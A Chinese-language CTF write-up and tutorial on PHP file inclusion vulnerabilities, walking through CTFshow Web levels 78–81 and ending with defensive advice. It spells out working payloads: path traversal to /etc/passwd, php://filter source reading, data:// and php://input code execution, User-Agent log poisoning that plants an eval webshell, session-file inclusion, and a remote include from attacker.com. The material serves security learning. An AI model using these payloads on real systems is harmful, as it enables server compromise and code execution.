
1. 项目概述从CTF赛题看文件包含漏洞的攻防实战最近在复盘CTFshow平台Web入门系列的78到81关这几关连续聚焦于一个经典且危险的Web漏洞——文件包含。对于刚入门安全的朋友来说文件包含File Inclusion这个概念听起来可能有点抽象但它在实战中却是一个“宝藏”漏洞点利用得当可以直接读取服务器敏感文件、执行任意代码甚至拿下服务器权限。这几道题由浅入深从最基础的本地文件包含LFI一直延伸到需要结合伪协议和编码绕过的远程文件包含RFI非常典型。我打算结合这几道题的解题过程把文件包含漏洞的原理、利用手法、绕过技巧以及防御思路系统地拆解一遍。无论你是正在打CTF的新手还是想夯实Web安全基础的开发者相信这篇从实战中总结出的笔记都能给你带来不少启发。文件包含漏洞的本质是应用程序在动态包含文件时未对用户输入的文件名或路径进行充分过滤导致攻击者可以操控包含流程引入非预期的文件。在PHP中常见的危险函数包括include()、require()、include_once()、require_once()。CTFshow的这四道题正是围绕这些函数设置了不同的过滤条件考验我们如何一步步“见招拆招”。接下来我们就一关一关地过不仅讲怎么解更重点讲清楚背后的“为什么”和“还能怎么防”。2. 漏洞原理与核心函数深度解析2.1 文件包含到底在做什么要理解漏洞先得明白正常功能。在Web开发中特别是使用PHP这类模板化语言时为了提高代码复用性我们经常会把页头、页脚、导航栏等公共部分写成独立的文件比如header.php,footer.php。然后在不同的页面里通过include(‘header.php’)这样的语句把它们包含进来。这样修改公共部分时只需改一个文件即可。关键点在于include这类函数的参数理论上可以是变量。例如include($_GET[‘page’] . ‘.php’)程序意图是根据用户传入的page参数如 ‘home’来包含home.php文件。问题就出在这里如果开发人员完全信任了用户的输入没有对$_GET[‘page’]做任何检查攻击者就可以通过构造特殊的参数让程序去包含它本不该包含的文件。2.2 本地文件包含 vs. 远程文件包含根据包含的文件来源漏洞分为两类本地文件包含包含的是服务器本地的文件。例如传入../../../../etc/passwd可能让程序包含系统的密码文件。远程文件包含包含的是远程服务器上的文件。例如传入http://attacker.com/shell.txt让程序从攻击者的网站下载并执行其中的代码。这通常需要服务器配置中开启了allow_url_include选项默认关闭因此RFI在实际中比LFI少见但危害更大。CTFshow的78-81关主要挑战在于LFI但通过PHP伪协议我们可以在LFI的限制下实现类似RFI的效果这是理解这几道题的精髓。2.3 危险函数行为差异虽然include和require功能相似但错误处理方式不同include如果包含失败文件不存在会产生一个警告E_WARNING但脚本会继续执行。require如果包含失败会产生一个致命错误E_COMPILE_ERROR脚本会停止执行。在漏洞利用中这个差异有时会影响我们的利用方式。比如在盲注或者需要探测文件是否存在时include的“宽容”可能更有利。3. CTFshow 78-81关实战通关与原理剖析3.1 第78关无过滤的本地文件包含入门题目场景与代码逻辑推测通常入门第一关过滤最弱。我们假设代码逻辑类似于?php $file $_GET[file]; include($file); ?没有任何过滤直接包含GET参数file传入的值。解题步骤与思考过程基础探测访问?file../../../../etc/passwd。这是Linux系统下经典的敏感文件用于测试LFI是否存在。如果页面显示了用户列表说明漏洞存在。获取源码在CTF中目标往往是获取网站的源代码以找到flag。我们可以利用PHP的封装协议php://filter来读取源码。构造Payload:?filephp://filter/readconvert.base64-encode/resourceindex.php原理php://filter是一种元封装器允许在读取/写入数据流时应用过滤器。这里我们使用readconvert.base64-encode过滤器将index.php文件的内容进行Base64编码后再输出。为什么要编码因为如果直接包含index.php服务器会将其作为PHP代码执行我们看不到源代码。编码后我们得到一串Base64字符串解码后就能看到清晰的源码。解码获取Flag将返回的Base64字符串解码在源码中搜索flag、ctfshow等关键词即可找到flag。注意目录穿越的层数../../../../需要根据目标文件的实际位置进行猜测和调整。可以尝试不同层数或者结合报错信息来判断。3.2 第79关过滤“php”关键字的绕过题目场景与新增防御从这一关开始题目增加了过滤。假设代码变为?php $file $_GET[file]; if (stristr($file, php)) { die(Hacker!); } include($file); ?代码使用stristr检查参数中是否包含不区分大小写的“php”字符串如果包含则拦截。解题步骤与绕过技巧上一关的php://filter协议用不了了因为其中包含“php”。这时我们需要寻找不包含“php”的利用方式。利用data://伪协议data://协议允许在URI中直接嵌入数据。我们可以用它来执行任意PHP代码。构造Payload:?filedata://text/plain,?php system(ls);?原理data://text/plain,后面跟的就是我们要包含的“文件内容”。这里我们直接写入了PHP代码?php system(“ls”);?。当服务器将其作为文件包含时就会执行这段代码列出当前目录的文件。利用Base64编码绕过如果目标服务器对?php标签也有过滤我们可以将代码进行Base64编码。构造Payload:?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8其中PD9waHAgc3lzdGVtKCJscyIpOz8是?php system(“ls”);?的Base64编码结果。;base64告诉服务器后面的数据是Base64格式需要先解码再处理。查找Flag执行ls发现flag文件后再用cat或tac命令读取即可。实操心得data://协议能否使用取决于服务器配置中的allow_url_include是否开启。在CTF环境中通常为开启状态但在真实渗透测试中需要先进行确认。确认方法可以尝试包含一个肯定存在的本地文件如?file./index.php如果正常再尝试data://。3.3 第80关综合过滤与php://input的利用题目场景与更严格的防御过滤进一步加强可能同时过滤了“php”、“data”、“include”、“require”等关键词并且可能关闭了allow_url_include使得data://协议失效。解题步骤与高级技巧当常见协议和关键字都被过滤时我们需要更底层的利用方式。尝试php://inputphp://input是个只读流可以访问请求的原始数据即POST数据体。它的使用前提是allow_url_include为On但不受allow_url_fopen限制。构造请求URL:?filephp://inputHTTP Method: POSTBody:?php system(“ls”);?原理我们将file参数设置为php://input然后将要执行的PHP代码放在POST主体中。当服务器包含php://input时实际上读取并执行了我们POST上去的代码。利用日志文件包含如果以上都失败可以考虑“日志文件包含”这种间接方式。这是LFI中非常经典的一种利用手法。思路Web服务器如Apache、Nginx的访问日志会记录每一个请求包括User-Agent头。如果我们能控制User-Agent并在其中写入PHP代码然后利用LFI漏洞去包含这个日志文件服务器就会执行我们写入的代码。步骤 a.探测日志路径通常为/var/log/apache2/access.log、/var/log/nginx/access.log等。可以通过报错信息或字典爆破猜测。 b.污染日志使用Burp Suite或curl修改请求将User-Agent设置为?php phpinfo();?。 c.包含日志访问?file/var/log/apache2/access.log。如果日志文件可读且其中的PHP代码被成功解析就能看到phpinfo页面证明利用成功。 d.写入Webshell将User-Agent改为更复杂的代码如?php file_put_contents(‘shell.php’, ‘?php eval($_POST[“cmd”]);?’);?然后包含日志即可在网站目录下生成一个Webshell。3.4 第81关终极绕过与Session文件包含题目场景与最终挑战这一关可能设置了近乎“变态”的过滤比如过滤了所有常见的协议头php, data, input等、过滤了特殊字符:/.或者设置了白名单机制。这时我们需要祭出终极技巧之一Session文件包含。解题步骤与原理剖析理解Session机制PHP会将用户的Session数据序列化后存储到服务器的一个临时文件中通常位于/tmp/sess_[PHPSESSID]。文件名中的[PHPSESSID]就是浏览器Cookie中PHPSESSID的值。利用条件存在LFI漏洞。我们知道Session文件的存储路径默认可预测。我们能够向Session文件中注入可控的数据。利用过程 a.获取Session ID首先访问网站从Cookie中获取当前的PHPSESSID例如sess_abc123。 b.向Session写入数据PHP的$_SESSION变量是我们可以控制的如果程序未做严格校验。寻找网站中任何能将数据存入$_SESSION的功能点比如登录表单、用户昵称修改、反馈信息等。将我们的PHP代码写入。例如如果有个设置昵称的功能我们将昵称设为?php system(“ls”);?。 c.包含Session文件构造Payload:?file/tmp/sess_abc123。服务器包含这个Session文件时就会执行我们写入的PHP代码。在无交互功能下的利用如果网站没有任何功能能让我们控制$_SESSION还有一招——利用PHP_SESSION_UPLOAD_PROGRESS。这是一个PHP的特性即使没有显式的Session操作在上传文件时如果POST请求中带有PHP_SESSION_UPLOAD_PROGRESS字段PHP也会自动开启Session并将该字段的值写入Session文件。构造一个文件上传请求同时在POST数据中添加PHP_SESSION_UPLOAD_PROGRESS?php system(‘ls’);?。确保请求头中包含了有效的PHPSESSIDCookie。然后利用LFI漏洞包含/tmp/sess_[你的PHPSESSID]文件。注意事项Session文件包含对路径猜测要求较高且Session文件可能很快被清理。需要快速操作。同时写入Session的代码如果包含特殊字符可能会被转义或破坏有时需要配合编码技巧。4. PHP伪协议全解与在文件包含中的妙用文件包含的威力很大程度上来自于PHP丰富的伪协议Wrapper。它们像是给include()函数插上了翅膀但也成了攻击者的利器。下面系统梳理一下4.1 php://filter这是读取源码最常用的协议。语法php://filter/read过滤器/resource目标文件常用过滤器convert.base64-encodeBase64编码输出防止代码被执行用于读源码。string.rot13ROT13编码一种简单的绕过检查的方式因为?php经过rot13会变成?cuc。zlib.deflate/zlib.inflate压缩/解压缩流可用于传输或处理数据。示例?filephp://filter/readconvert.base64-encode/resourceflag.php4.2 php://input这是执行POST代码的协议。语法php://input条件allow_url_includeOn且需要以POST方式提交数据。示例GET: ?filephp://inputPOST Body: ?php system(‘cat flag’);?4.3 data://这是直接包含数据流的协议可以视为一个“内联文件”。语法data://text/plain,文本内容data://text/plain;base64,Base64编码的文本内容条件allow_url_includeOn示例?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZyIpOz84.4 file://访问本地文件系统的标准协议在绝对路径包含时常用。语法file://文件绝对路径示例?filefile:///etc/passwd4.5 zip:// 与 phar://这两个协议用于包含压缩包内的文件在“压缩包上传包含”的漏洞场景中极为重要。zip://zip://[压缩包绝对路径]#[压缩包内文件路径]。注意#在URL中需要编码为%23。示例?filezip:///tmp/upload.zip%23shell.phpphar://功能更强大不仅可以包含还能反序列化常与PHP反序列化漏洞结合。示例?filephar:///tmp/upload.phar/shell.php协议选择策略在实际测试中应按照以下顺序尝试先试php://filter读源码若不成功试data://或php://input执行代码若被过滤考虑日志包含或Session包含若有上传点则联想zip://或phar://。5. 文件包含漏洞的防御方案与开发实践分析了这么多攻击手法作为开发者我们更关心如何防御。防御的核心原则是“白名单”优于“黑名单”最小化用户控制权。5.1 输入验证与过滤绝对禁止用户完全控制包含路径。这是最根本的。采用白名单机制如果必须动态包含应预先定义好允许包含的文件列表数组用户传入的参数只能从这个列表中选取。$allowed_pages [‘home.php’, ‘about.php’, ‘contact.php’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page); } else { include(‘./templates/404.php’); }如果做不到白名单必须进行严格过滤去除目录遍历字符../,..\,./等。限制文件后缀强制添加固定的安全后缀如.php。但要注意%00截断在PHP5.3.4时有效等绕过。正则表达式严格匹配只允许字母、数字、下划线等安全字符。5.2 配置安全关闭危险配置在php.ini中确保allow_url_fopen Off(根据业务需求权衡)allow_url_include Off(生产环境必须关闭)设置 open_basedir将PHP可访问的文件限制在网站根目录及其子目录下防止跨目录访问。open_basedir /var/www/html:/tmp注意open_basedir不是万能的有被绕过的历史应作为纵深防御的一环而非唯一手段。5.3 代码设计与架构避免动态包含尽可能使用静态包含或自动加载机制如Composer, PSR-4。使用安全的文件操作函数如果需要根据用户输入读取文件使用file_get_contents()等函数并严格校验路径比include()更安全因为后者会执行代码。设置文件权限确保Web服务器进程如www-data用户对非必要目录和文件只有读权限对上传目录无执行权限。5.4 漏洞挖掘与自查清单对于安全测试人员或开发者自查可以遵循以下清单查找代码中所有include,require,include_once,require_once函数。检查它们的参数是否直接或间接来自用户输入$_GET,$_POST,$_COOKIE,$_REQUEST。跟踪这些输入看是否有完整的过滤流程。尝试使用../,..\, 空字节截断%00进行路径穿越测试。尝试使用php://filter,data://等伪协议。检查服务器配置如phpinfo()中allow_url_include的状态。文件包含漏洞的攻防是一场关于“控制”与“反控制”的博弈。从CTFshow这四道简单的题目延展开来我们可以看到一个小小的参数过滤不严可能引发的连锁安全风险。对于学习者理解这些绕过技巧有助于在渗透测试中打开思路对于开发者则是一次次警醒必须对用户输入保持绝对的警惕。在实战中漏洞利用往往需要多种技巧组合并且需要根据目标环境灵活调整。最重要的还是建立起纵深防御的安全意识从代码层、配置层、架构层多个维度将风险降到最低。